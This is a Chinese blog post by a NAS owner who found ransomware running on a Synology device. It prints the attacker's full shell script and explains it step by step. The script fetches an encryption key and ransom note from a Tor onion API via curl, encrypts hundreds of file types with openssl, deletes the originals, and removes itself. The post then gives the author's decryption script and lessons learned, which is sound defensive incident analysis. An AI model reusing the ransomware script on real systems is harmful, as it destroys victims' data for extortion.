中了勒索病毒文件被加密了,分析加密脚本并解密还原初始文件

小助手读文章 00:00 / 00:00

背景

早上突然发现 NAS 的文档基本上都打开乱码,目录下也出现了 README_FOR_DECRYPT.txtt 文件,心想这下完蛋了,这是中了勒索病毒了!

分析

赶紧给 NAS 断外网,然后用 SSH 连进 NAS 查看是否有可疑进程,果然:

root@NAS:~# ps -ef
...
root     18239  9807  0 07:09 ?        00:00:36 find /volume1 -iname *.jpg -exec sh -c openssl enc -in "$1" -out "$1.encrypt" -e -aes256

NAS 正常是不会有 find 进程,并且还在叠加执行 openssl 加密,一看就是有问题,并且查看被加密的文件,文件名格式也跟命令一致,后缀被加上了 .encrypt

root@NAS:~# ls -l
...
2023-03-29_111844.jpg.encrypt
2023-03-29_112340.jpg.encrypt
2023-03-29_155152.jpg.encrypt
2023-03-30_121227.jpg.encrypt
2023-03-30_135828.jpg.encrypt
...

可以确定,NAS 文件就是被这个进程加密的,由于直接用 ps -ef 显示的命令不完整,所以用 grep 加个筛选:

root@NAS:~# ps -ef | grep openssl
root     18239     1  0 07:09 ?        00:00:36 find /volume1 -iname *.jpg -exec sh -c openssl enc -in "$1" -out "$1.encrypt" -e -aes256 -k "$2" && rm "$1" find-sh {} 5aGQhUYgclrNsdzmrKmJ94RDPT8jRyq9 ;

可以发现,openssl 加密使用的密钥是 5aGQhUYgclrNsdzmrKmJ94RDPT8jRyq9,进一步分析加密进程 9807 ,发现了根进程:

root@NAS:~# ps -ef |grep 9807
...
root      9807     1  0 Apr09 ?        00:00:00 /bin/sh /tmp/c
...

可以看出加密进程是这个 /tmp/c 脚本调用的,为避免文件继续被加密,先把这些进程都终止了:

root@NAS:~# kill -9 9807 18239

脚本

先看下这个完整加密脚本:

root@NAS:~# cat /tmp/c
#!/bin/sh

START_PATH="/volume1";

#rm "${START_PATH}/README_FOR_DECRYPT.txtt";

if [ -e "${START_PATH}/README_FOR_DECRYPT.txtt" ]
then
    echo "Readme file is exists. Exiting..."
    exit 0
fi

ONION_SOCKS="147.91.249.*:9100"
API_URL="https://veqlxhq7ub5****qy56zx2cig2e6tzs****pkubwbayqije6oatma6id.onion/api/GetAvailKeysByApiKey/6PUoN4lyCfFT-kXl2TpuYjmFM0GBlki3"
API_DATA=$(curl -s -k --socks5-hostname ${ONION_SOCKS} ${API_URL});
AES_KEY=$(echo ${API_DATA} | grep -o '"AesKey":"[^"]*' | sed 's/"AesKey":"//g');
BTC_ADDR=$(echo ${API_DATA} | grep -o '"BtcPublicKey":"[^"]*' | sed 's/"BtcPublicKey":"//');
README=$(echo ${API_DATA} | sed "s/\"\,\"BtcPublicKey\"\:\"${BTC_ADDR}//" | sed "s/\"AesKey\"\:\"${AES_KEY}//" | sed "s/\"\,\"Readme\"\:\"//" | sed "s/{//" | sed "s/\"}//");

if [ -z "${AES_KEY}" ]; then
    echo "AES key is empty. Exiting..."
    exit 0
fi

Exts=".doc .docb .docx .xla .xlam .xll .xlm .xls .xlsb .xlsm .xlsx .xlt .xltm .xltx .xlw .xps .py .go .cs .c .c++ .cpp .cxx .h .txt .jpg .pdf .pl .png .csv .docm .jpe .jpeg .psd .rtf .svg .wallet .cfg .sqlite .deadbolt .arw .tile .tif .hwp .dat .1st .602 .7z .7-zip .abw .act .adoc .aim .ans .apkg .apt .arj .asc .ascii .ase .aty .awp .awt .aww .dotm .gzip .lzh .lzma .pot .potm .potx .ppam .pps .ppsm .ppsx .ppt .pptm .pptx .rar .sldm .sldx .sql .tar .vbo .vdi .vmdk .vmem .vmx .z .zip .au .bin .tgz .bz2 .tar.bz2 tbz2 tar.gz .gif .html .htm .ps .s .sh .src .tcl .xbm .xpm .xcf.gz .xwd .asp .aspx .cer .css .js .jsp .cfm .xhtml .rss .dcr .csr .asmx .dwt .chm .crt .jspx .wml .p12 .webarchive .atom .nzb .jnlp .htaccess .opml .wsdl .json .wgt .ucf .xfdl .alx .qbo .axd .att .pac .spc .asax .xhtm .a5w .fcgi .cshtml .hype .freeway .obml16 .url .htx .vrml .shtml .rt .shtm .web .adr .oth .do .cha .chat .wrf .pem .webloc .download .rwp .wdgt .rhtml .xul .xpd .ascx .zvz .mht .idc .asa .hxs .zfo .mhtml .p7b .dhtml .xht .gne .jhtml .jws .lasso .disco .discomap .ognc .vsdisco .ap .rjs .con .bml .saveddeck .aro .psp .dap .wpp .mspx .woa .bok .qf .srf .vbd .whtt .asr .ashx .zhtml .esproj .epibrw .lbc .rwsw .tvvi .tvpi .pub .gsp .zul .aex .btapp .mvc .sitemap .browser .website .swz .p7c .awm .obml .maff .sites2 .der .crl .webhistory .webbookmark .iwdgt .ewp .xbel .suck .stc .edge .fwp .vbhtml .less .a4p .pro .codasite .muse .an .oam .zhtml .vdw .nod .sites .kit .rflw .olp .appcache .scss .hypetemplate .hypesymbol .hyperesources .fwtemplate .fwtb .obml15 .br .gsp .mjs .php3 .site .phtml .xws .iqy .jcz .svr .sht .dbm .ece .qrm .nxg .svc .master .wgp .fmp .jspa .hdml .stm .rw3 .stp .dml .htc .cfml .page .widget .prf .itms .itpc .ptw .jst .xbl .mapx .ssp .seam .p7 .wn .xss .cpg .wbxml .uhtml .wpx .rwtheme .webarchivexml .jss .ccbjs .wbs .cphd .fwtemplateb .sass .qbx .tpl .sparkle .php4 .moz .cdf .map .php5 .jvs .phtm .cms .stl .csp .vlp .sdb .hdm .stml .dochtml .docmhtml .dothtml .ppthtml .pptmhtml .mvr .compressed .bwp .vrt .php2 .3ds .3fr .4db .4dd .7z .7zip .accdb .accdt .aep .aes .ai .apk .arch00 .arj .asset .bar .bay .bc6 .bc7 .big .bik .bkf .bkp .blob .bpw .bsa .cas .cdr .cer .cfr .cr2 .crp .crt .crw .css .d3dbsp .das .dazip .db0 .dba .dbf .dbx .dcr .der .desc .dmp .dng .docx .dot .dotm .dotx .dwfx .dwg .dwk .dxf .dxg .eml .epk .eps .erf .esm .fdb .ff .flv .forge .fos .fpk .fsh .gdb .gho .gpg .gxk .hkdb .hkx .hplg .hvpl .ibank .icxs .idx .ifx .indd .itdb .itl .itm .iwd .iwi .js .kdb .kdbx .kdc .key .kf .ksd .layout .lbf .litemod .lrf .ltx .lvl .m2 .m3u .map .max .mcmeta .mdb .mdbackup .mddata .mdf .mef .menu .mlx .mov .mpd .mpp .mpqge .mrwref .myo .nba .nbf .ncf .nrw .nsf .ntl .nv2 .odb .odc .odm .odp .ods .odt .ofx .orf .p12 .p7b .p7c .pak .pdb .pdd .pef .pem .pfx .pgp .pkpass .ppj .pps .ppsx .ppt .pptm .pptx .prproj .psk .pst .psw .ptx .qba .qbb .qbo .qbw .qdf .qfx .qic .qif .r3d .raf .rar .raw .rb .re4 .rgss3a .rim .rofl .rw2 .rwl .saj .sav .sb .sdc .sdf .sid .sidd .sidn .sie .sis .sko .slm .snx .sql .sr2 .srf .srw .sum .sxc .syncdb .t12 .t13 .tar .tax .tbl .tib .tor .upk .vcf .vdf .vfs0 .vpk .vpp_pc .vtf .w3x .wb2 .wdb .wmo .wmv .wotreplay .wpd .wps .x3f .xf .xlk .xml .xxx .zip .ztmp .dat .bat .bit .gcode .ngc .sldprt .sldasm .x_t .step .fits .cat .ctlg .fit .rsn .eml .vhdx .plist .bckup .far .tbz .abf .kmz .vbs .cuix .mnr .lsp .dwg .dwl .dwl2 .vlx .fw .param .dwf .m .gz .bak .ttf .nef"

nohup find ${START_PATH} -type d -writable -exec sh -c 'echo -e "$2" > "$1/README_FOR_DECRYPT.txtt"' find-sh {} "${README}" \; </dev/null >/dev/null 2>&1 &

for ext in ${Exts}; do
find ${START_PATH} -iname "*${ext}" -exec sh -c 'openssl enc -in "$1" -out "$1.encrypt" -e -aes256 -k "$2" && rm "$1"' find-sh {} "${AES_KEY}" \;
done

rm $0

解读

整体上可以看出整个脚本很简洁,过程并没有什么技术难度,我们来大致看一下过程:

...
START_PATH="/volume1";
...

首先定义了要执行的目录是 /volume1,这个目录是群晖 NAS 中数据文件的存储分区目录,所以这个脚本并没有动到 NAS 系统本身,只是对数据文件进行处理。

...
if [ -e "${START_PATH}/README_FOR_DECRYPT.txtt" ]
then
    echo "Readme file is exists. Exiting..."
    exit 0
fi
...

然后很贴心地判断一下,勒索提示文件 README_FOR_DECRYPT.txtt 是否存在,避免进行二次加密。

...
ONION_SOCKS="147.91.249.*:9100"
API_URL="https://veqlxhq7ub5****qy56zx2cig2e6tzs****pkubwbayqije6oatma6id.onion/api/GetAvailKeysByApiKey/6PUoN4lyCfFT-kXl2TpuYjmFM0GBlki3"
API_DATA=$(curl -s -k --socks5-hostname ${ONION_SOCKS} ${API_URL});
AES_KEY=$(echo ${API_DATA} | grep -o '"AesKey":"[^"]*' | sed 's/"AesKey":"//g');
BTC_ADDR=$(echo ${API_DATA} | grep -o '"BtcPublicKey":"[^"]*' | sed 's/"BtcPublicKey":"//');
README=$(echo ${API_DATA} | sed "s/\"\,\"BtcPublicKey\"\:\"${BTC_ADDR}//" | sed "s/\"AesKey\"\:\"${AES_KEY}//" | sed "s/\"\,\"Readme\"\:\"//" | sed "s/{//" | sed "s/\"}//");
...

接下来是定义一些参数,比如向服务器获取加密密钥 AES_KEY、BTC 钱包地址 BTC_ADDR、勒索提示文件 README 等等。

...
if [ -z "${AES_KEY}" ]; then
    echo "AES key is empty. Exiting..."
    exit 0
fi
...

这一段也是很贴心地判断一下,如果没有获取到加密密钥,则终止进程,不再执行加密。

...
Exts=".doc .docb .docx .xla .xlam .xll .xlm .xls .xlsb .xlsm .xlsx .xlt..."
...

这一行定义了要执行加密的是哪些文件,可以看出基本上所有常见的文档、图片、字体、压缩文件、视频等等文件都会被执行加密。

...
nohup find ${START_PATH} -type d -writable -exec sh -c 'echo -e "$2" > "$1/README_FOR_DECRYPT.txtt"' find-sh {} "${README}" \; </dev/null >/dev/null 2>&1 &
...

从这里开始就要对文件系统做处理了,这一行是递归 /volume1 目录,判断是否可写入,可以则创建勒索文件 README_FOR_DECRYPT.txtt,前面分析中提到,加密进程是 root 用户发起的,所以基本上 /volume1 目录下的所有目录都会受影响。

...
for ext in ${Exts}; do
find ${START_PATH} -iname "*${ext}" -exec sh -c 'openssl enc -in "$1" -out "$1.encrypt" -e -aes256 -k "$2" && rm "$1"' find-sh {} "${AES_KEY}" \;
done
...

这里也是个递归操作,递归 /volume1 目录,如果该目录下的文件后缀名在上面定义中的,则利用 openssl 执行加密,使用 aes256 算法,并使用上面从服务器获取的密钥 ${AES_KEY} 进行加密,加密完成后将文件名加上后缀 .encrypt,并删除源文件。

...
rm $0
...

最后就是清理现场了。

后续

了解了整个加密过程后,就可以相应进行解密了,参照加密脚本,大致解密脚本如下:

root@NAS:~# cat /tmp/d
#!/bin/sh

START_PATH="/volume1";

AES_KEY="5aGQhUYgclrNsdzmrKmJ94RDPT8jRyq9"

Exts=".doc.encrypt .docb.encrypt .docx.encrypt .xla.encrypt .xlam.encrypt .xll.encrypt .xlm.encrypt .xls.encrypt .xlsb.encrypt .xlsm.encrypt .xlsx.encrypt .xlt.encrypt .xltm.encrypt .xltx.encrypt .xlw.encrypt .xps.encrypt .py.encrypt .go.encrypt .cs.encrypt .c.encrypt .c++.encrypt .cpp.encrypt .cxx.encrypt .h.encrypt .txt.encrypt .jpg.encrypt .pdf.encrypt .pl.encrypt .png.encrypt .csv.encrypt .docm.encrypt .jpe.encrypt .jpeg.encrypt .psd.encrypt .rtf.encrypt .svg.encrypt .wallet.encrypt .cfg.encrypt .sqlite.encrypt .deadbolt.encrypt .arw.encrypt .tile.encrypt .tif.encrypt .hwp.encrypt .dat.encrypt .1st.encrypt 0.602.encrypt .7z.encrypt .7-zip.encrypt .abw.encrypt .act.encrypt .adoc.encrypt .aim.encrypt .ans.encrypt .apkg.encrypt .apt.encrypt .arj.encrypt .asc.encrypt .ascii.encrypt .ase.encrypt .aty.encrypt .awp.encrypt .awt.encrypt .aww.encrypt .dotm.encrypt .gzip.encrypt .lzh.encrypt .lzma.encrypt .pot.encrypt .potm.encrypt .potx.encrypt .ppam.encrypt .pps.encrypt .ppsm.encrypt .ppsx.encrypt .ppt.encrypt .pptm.encrypt .pptx.encrypt .rar.encrypt .sldm.encrypt .sldx.encrypt .sql.encrypt .tar.encrypt .vbo.encrypt .vdi.encrypt .vmdk.encrypt .vmem.encrypt .vmx.encrypt .z.encrypt .zip.encrypt .au.encrypt .bin.encrypt .tgz.encrypt .bz2.encrypt .tar.bz2.encrypt tbz2.encrypt tar.gz.encrypt .gif.encrypt .html.encrypt .htm.encrypt .ps.encrypt .s.encrypt .sh.encrypt .src.encrypt .tcl.encrypt .xbm.encrypt .xpm.encrypt .xcf.gz.encrypt .xwd.encrypt .asp.encrypt .aspx.encrypt .cer.encrypt .css.encrypt .js.encrypt .jsp.encrypt .cfm.encrypt .xhtml.encrypt .rss.encrypt .dcr.encrypt .csr.encrypt .asmx.encrypt .dwt.encrypt .chm.encrypt .crt.encrypt .jspx.encrypt .wml.encrypt .p12.encrypt .webarchive.encrypt .atom.encrypt .nzb.encrypt .jnlp.encrypt .htaccess.encrypt .opml.encrypt .wsdl.encrypt .json.encrypt .wgt.encrypt .ucf.encrypt .xfdl.encrypt .alx.encrypt .qbo.encrypt .axd.encrypt .att.encrypt .pac.encrypt .spc.encrypt .asax.encrypt .xhtm.encrypt .a5w.encrypt .fcgi.encrypt .cshtml.encrypt .hype.encrypt .freeway.encrypt .obml16.encrypt .url.encrypt .htx.encrypt .vrml.encrypt .shtml.encrypt .rt.encrypt .shtm.encrypt .web.encrypt .adr.encrypt .oth.encrypt .do.encrypt .cha.encrypt .chat.encrypt .wrf.encrypt .pem.encrypt .webloc.encrypt .download.encrypt .rwp.encrypt .wdgt.encrypt .rhtml.encrypt .xul.encrypt .xpd.encrypt .ascx.encrypt .zvz.encrypt .mht.encrypt .idc.encrypt .asa.encrypt .hxs.encrypt .zfo.encrypt .mhtml.encrypt .p7b.encrypt .dhtml.encrypt .xht.encrypt .gne.encrypt .jhtml.encrypt .jws.encrypt .lasso.encrypt .disco.encrypt .discomap.encrypt .ognc.encrypt .vsdisco.encrypt .ap.encrypt .rjs.encrypt .con.encrypt .bml.encrypt .saveddeck.encrypt .aro.encrypt .psp.encrypt .dap.encrypt .wpp.encrypt .mspx.encrypt .woa.encrypt .bok.encrypt .qf.encrypt .srf.encrypt .vbd.encrypt .whtt.encrypt .asr.encrypt .ashx.encrypt .zhtml.encrypt .esproj.encrypt .epibrw.encrypt .lbc.encrypt .rwsw.encrypt .tvvi.encrypt .tvpi.encrypt .pub.encrypt .gsp.encrypt .zul.encrypt .aex.encrypt .btapp.encrypt .mvc.encrypt .sitemap.encrypt .browser.encrypt .website.encrypt .swz.encrypt .p7c.encrypt .awm.encrypt .obml.encrypt .maff.encrypt .sites2.encrypt .der.encrypt .crl.encrypt .webhistory.encrypt .webbookmark.encrypt .iwdgt.encrypt .ewp.encrypt .xbel.encrypt .suck.encrypt .stc.encrypt .edge.encrypt .fwp.encrypt .vbhtml.encrypt .less.encrypt .a4p.encrypt .pro.encrypt .codasite.encrypt .muse.encrypt .an.encrypt .oam.encrypt .zhtml.encrypt .vdw.encrypt .nod.encrypt .sites.encrypt .kit.encrypt .rflw.encrypt .olp.encrypt .appcache.encrypt .scss.encrypt .hypetemplate.encrypt .hypesymbol.encrypt .hyperesources.encrypt .fwtemplate.encrypt .fwtb.encrypt .obml15.encrypt .br.encrypt .gsp.encrypt .mjs.encrypt .php3.encrypt .site.encrypt .phtml.encrypt .xws.encrypt .iqy.encrypt .jcz.encrypt .svr.encrypt .sht.encrypt .dbm.encrypt .ece.encrypt .qrm.encrypt .nxg.encrypt .svc.encrypt .master.encrypt .wgp.encrypt .fmp.encrypt .jspa.encrypt .hdml.encrypt .stm.encrypt .rw3.encrypt .stp.encrypt .dml.encrypt .htc.encrypt .cfml.encrypt .page.encrypt .widget.encrypt .prf.encrypt .itms.encrypt .itpc.encrypt .ptw.encrypt .jst.encrypt .xbl.encrypt .mapx.encrypt .ssp.encrypt .seam.encrypt .p7.encrypt .wn.encrypt .xss.encrypt .cpg.encrypt .wbxml.encrypt .uhtml.encrypt .wpx.encrypt .rwtheme.encrypt .webarchivexml.encrypt .jss.encrypt .ccbjs.encrypt .wbs.encrypt .cphd.encrypt .fwtemplateb.encrypt .sass.encrypt .qbx.encrypt .tpl.encrypt .sparkle.encrypt .php4.encrypt .moz.encrypt .cdf.encrypt .map.encrypt .php5.encrypt .jvs.encrypt .phtm.encrypt .cms.encrypt .stl.encrypt .csp.encrypt .vlp.encrypt .sdb.encrypt .hdm.encrypt .stml.encrypt .dochtml.encrypt .docmhtml.encrypt .dothtml.encrypt .ppthtml.encrypt .pptmhtml.encrypt .mvr.encrypt .compressed.encrypt .bwp.encrypt .vrt.encrypt .php2.encrypt .3ds.encrypt .3fr.encrypt .4db.encrypt .4dd.encrypt .7z.encrypt .7zip.encrypt .accdb.encrypt .accdt.encrypt .aep.encrypt .aes.encrypt .ai.encrypt .apk.encrypt .arch00.encrypt .arj.encrypt .asset.encrypt .bar.encrypt .bay.encrypt .bc6.encrypt .bc7.encrypt .big.encrypt .bik.encrypt .bkf.encrypt .bkp.encrypt .blob.encrypt .bpw.encrypt .bsa.encrypt .cas.encrypt .cdr.encrypt .cer.encrypt .cfr.encrypt .cr2.encrypt .crp.encrypt .crt.encrypt .crw.encrypt .css.encrypt .d3dbsp.encrypt .das.encrypt .dazip.encrypt .db0.encrypt .dba.encrypt .dbf.encrypt .dbx.encrypt .dcr.encrypt .der.encrypt .desc.encrypt .dmp.encrypt .dng.encrypt .docx.encrypt .dot.encrypt .dotm.encrypt .dotx.encrypt .dwfx.encrypt .dwg.encrypt .dwk.encrypt .dxf.encrypt .dxg.encrypt .eml.encrypt .epk.encrypt .eps.encrypt .erf.encrypt .esm.encrypt .fdb.encrypt .ff.encrypt .flv.encrypt .forge.encrypt .fos.encrypt .fpk.encrypt .fsh.encrypt .gdb.encrypt .gho.encrypt .gpg.encrypt .gxk.encrypt .hkdb.encrypt .hkx.encrypt .hplg.encrypt .hvpl.encrypt .ibank.encrypt .icxs.encrypt .idx.encrypt .ifx.encrypt .indd.encrypt .itdb.encrypt .itl.encrypt .itm.encrypt .iwd.encrypt .iwi.encrypt .js.encrypt .kdb.encrypt .kdbx.encrypt .kdc.encrypt .key.encrypt .kf.encrypt .ksd.encrypt .layout.encrypt .lbf.encrypt .litemod.encrypt .lrf.encrypt .ltx.encrypt .lvl.encrypt .m2.encrypt .m3u.encrypt .map.encrypt .max.encrypt .mcmeta.encrypt .mdb.encrypt .mdbackup.encrypt .mddata.encrypt .mdf.encrypt .mef.encrypt .menu.encrypt .mlx.encrypt .mov.encrypt .mpd.encrypt .mpp.encrypt .mpqge.encrypt .mrwref.encrypt .myo.encrypt .nba.encrypt .nbf.encrypt .ncf.encrypt .nrw.encrypt .nsf.encrypt .ntl.encrypt .nv2.encrypt .odb.encrypt .odc.encrypt .odm.encrypt .odp.encrypt .ods.encrypt .odt.encrypt .ofx.encrypt .orf.encrypt .p12.encrypt .p7b.encrypt .p7c.encrypt .pak.encrypt .pdb.encrypt .pdd.encrypt .pef.encrypt .pem.encrypt .pfx.encrypt .pgp.encrypt .pkpass.encrypt .ppj.encrypt .pps.encrypt .ppsx.encrypt .ppt.encrypt .pptm.encrypt .pptx.encrypt .prproj.encrypt .psk.encrypt .pst.encrypt .psw.encrypt .ptx.encrypt .qba.encrypt .qbb.encrypt .qbo.encrypt .qbw.encrypt .qdf.encrypt .qfx.encrypt .qic.encrypt .qif.encrypt .r3d.encrypt .raf.encrypt .rar.encrypt .raw.encrypt .rb.encrypt .re4.encrypt .rgss3a.encrypt .rim.encrypt .rofl.encrypt .rw2.encrypt .rwl.encrypt .saj.encrypt .sav.encrypt .sb.encrypt .sdc.encrypt .sdf.encrypt .sid.encrypt .sidd.encrypt .sidn.encrypt .sie.encrypt .sis.encrypt .sko.encrypt .slm.encrypt .snx.encrypt .sql.encrypt .sr2.encrypt .srf.encrypt .srw.encrypt .sum.encrypt .sxc.encrypt .syncdb.encrypt .t12.encrypt .t13.encrypt .tar.encrypt .tax.encrypt .tbl.encrypt .tib.encrypt .tor.encrypt .upk.encrypt .vcf.encrypt .vdf.encrypt .vfs0.encrypt .vpk.encrypt .vpp_pc.encrypt .vtf.encrypt .w3x.encrypt .wb2.encrypt .wdb.encrypt .wmo.encrypt .wmv.encrypt .wotreplay.encrypt .wpd.encrypt .wps.encrypt .x3f.encrypt .xf.encrypt .xlk.encrypt .xml.encrypt .xxx.encrypt .zip.encrypt .ztmp.encrypt .dat.encrypt .bat.encrypt .bit.encrypt .gcode.encrypt .ngc.encrypt .sldprt.encrypt .sldasm.encrypt .x_t.encrypt .step.encrypt .fits.encrypt .cat.encrypt .ctlg.encrypt .fit.encrypt .rsn.encrypt .eml.encrypt .vhdx.encrypt .plist.encrypt .bckup.encrypt .far.encrypt .tbz.encrypt .abf.encrypt .kmz.encrypt .vbs.encrypt .cuix.encrypt .mnr.encrypt .lsp.encrypt .dwg.encrypt .dwl.encrypt .dwl2.encrypt .vlx.encrypt .fw.encrypt .param.encrypt .dwf.encrypt .m.encrypt .gz.encrypt .bak.encrypt .ttf.encrypt .nef.encrypt"

nohup find ${START_PATH} -type d -writable -exec sh -c 'rm -rf $1/README_FOR_DECRYPT.txtt' find-sh {} \; </dev/null >/dev/null 2>&1 &

for ext in ${Exts}; do
find ${START_PATH} -iname "*${ext}" -exec sh -c 'openssl enc -in "$1" -out "$1.decrypt" -d -aes256 -k "$2" && rm "$1" && mv "$1.decrypt" "`echo "$1.decrypt" | sed -e "s/.encrypt.decrypt//g"`"' find-sh {} "${AES_KEY}" \;
done

这里主要就是删除了所有目录下的勒索文件 README_FOR_DECRYPT.txtt,并且对被加密的文件进行解密,并删除加密后的文件还原为原始文件。

总结

这次能够顺利阻止勒索并还原文件,主要还是靠平时比较重视安全,加上纯粹运气好。

回顾整个过程,首先是要感谢每日点检机制,使我们能够及时发现勒索问题,因此可以通过进程查询到使用的加密方式和加密密钥,并相应进行解密处理。

其次也发现了不足之处,一是把 NAS 暴露在外网之中,二是创建了弱密码用户。相应的措施就是重新评估需求、调整加强外网访问以及 NAS 本身的上网权限限制,并删除或禁用常见用户名、重置弱密码、启用密码复杂度限制,升级最新系统、更新病毒库等等。

然后遗憾的是,本次并没有找到加密脚本是怎么被创建到系统中,并通过 root 权限来执行该脚本的原因。查看 DSM 日志,加密脚本可能是用户密码被爆破了,导致黑客能够直接登陆到系统,但是正常来说是用户级的账号,不能够获取到 root 权限才对,可是事实上已经发生,因此这里也是有理由怀疑群晖 NAS 系统本身也是有漏洞的。

最后,说纯粹运气好,是因为我们 NAS 事实上存储的文件就超级多,因此加密进程并没有那么快就可以结束,如果文件不多,加密进程完成消失了,那么到底是要掏钱买密钥还是就放弃这些文件呢?


ArmxMod for Typecho
个性化、自适应、功能强大的响应式主题

推广

 继续浏览关于 linux脚本勒索病毒文件加密文件解密中毒杀毒 的文章

 本文最后更新于 2023/04/12 16:11:46,可能因经年累月而与现状有所差异

 引用转载请注明: VirCloud's Blog > 系统 > 中了勒索病毒文件被加密了,分析加密脚本并解密还原初始文件

精选评论

  1. timochan
    timochan 回复

    Mac OS X 10_15_7Chrome 104.0.5112.102来自 亚太地区 的大神

    你这个确实是有点小庆幸,得亏还能看到秘钥;emmm,条件允许的情况下还是跟进群辉的安全修复吧?

    1. 欧文斯

      确实事运气好,买设备也不要性能太好的 icon_lol.gif

      1. timochan
        timochan 回复

        Mac OS X 10_15_7Chrome 104.0.5112.102来自 亚太地区 的大神

        这个理由太草了 >﹏<

        1. timochan
          timochan 回复

          Mac OS X 10_15_7Chrome 104.0.5112.102来自 亚太地区 的大神

          个人感觉是群辉的内核版本缘故,被打脏牛提权了??毕竟没用过这个东西,不太清楚。毕竟你表示不知道怎么提权的。

  2. 9017
    9017 回复

    Windows 10Chrome 115.0.0.0来自 河南 的大神

    一模一样的被攻击了,但是我也没想明白,我现在怀疑是装了什么套件不干净,

    1. 欧文斯

      可以在日志中心看一下,我有看到我的是 temp 用户被密码爆破了